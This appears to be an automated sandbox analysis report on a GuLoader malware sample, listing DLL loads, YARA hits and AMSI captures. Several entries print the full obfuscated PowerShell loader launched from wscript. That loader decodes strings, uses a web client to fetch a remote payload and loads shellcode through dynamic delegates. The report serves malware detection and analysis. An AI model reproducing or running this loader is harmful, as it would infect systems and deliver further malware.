$Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Ree	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: ore.pdb source: powershell.exe, 00000007.00000002.3354586919.000000000760D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000007.00000002.3360513938.00000000087A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: btem.pdbt source: powershell.exe, 00000004.00000002.2397099013.0000017460F00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000007.00000002.3335231886.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister", "Unsupported parameter type 00000000")

Yara detected GuLoader

Source: Yara match	File source: 00000007.00000002.3350109878.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2428365661.0000017472B4E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Augustsndag)$GlobaL:ElekTRoteKNIkkEr = [SyStem.Text.ENCodIng]::ASCII.getsTRInG($RIpieNIST)$gloBaL:buzZaRd=$EleKTROTEKNIKKEr.suBsTrING($BaLLeTKORpSEts,$AfLeDtes)<#Sonantic Albertustal
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Restgrupper $Stitres $Hypophyse), (Minesprngningerne @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Indfrselstilladelsens = [AppDomain]::CurrentDomain.Get
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Tllevrker)), $Kloring).DefineDynamicModule($Romanernes160, $false).DefineType($Kandissens, $Citational, [System.MulticastDelegate])$Ma
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Augustsndag)$GlobaL:ElekTRoteKNIkkEr = [SyStem.Text.ENCodIng]::ASCII.getsTRInG($RIpieNIST)$gloBaL:buzZaRd=$EleKTROTEKNIKKEr.suBsTrING($BaLLeTKORpSEts,$AfLeDtes)<#Sonantic Albertustal

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Ree
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Ree
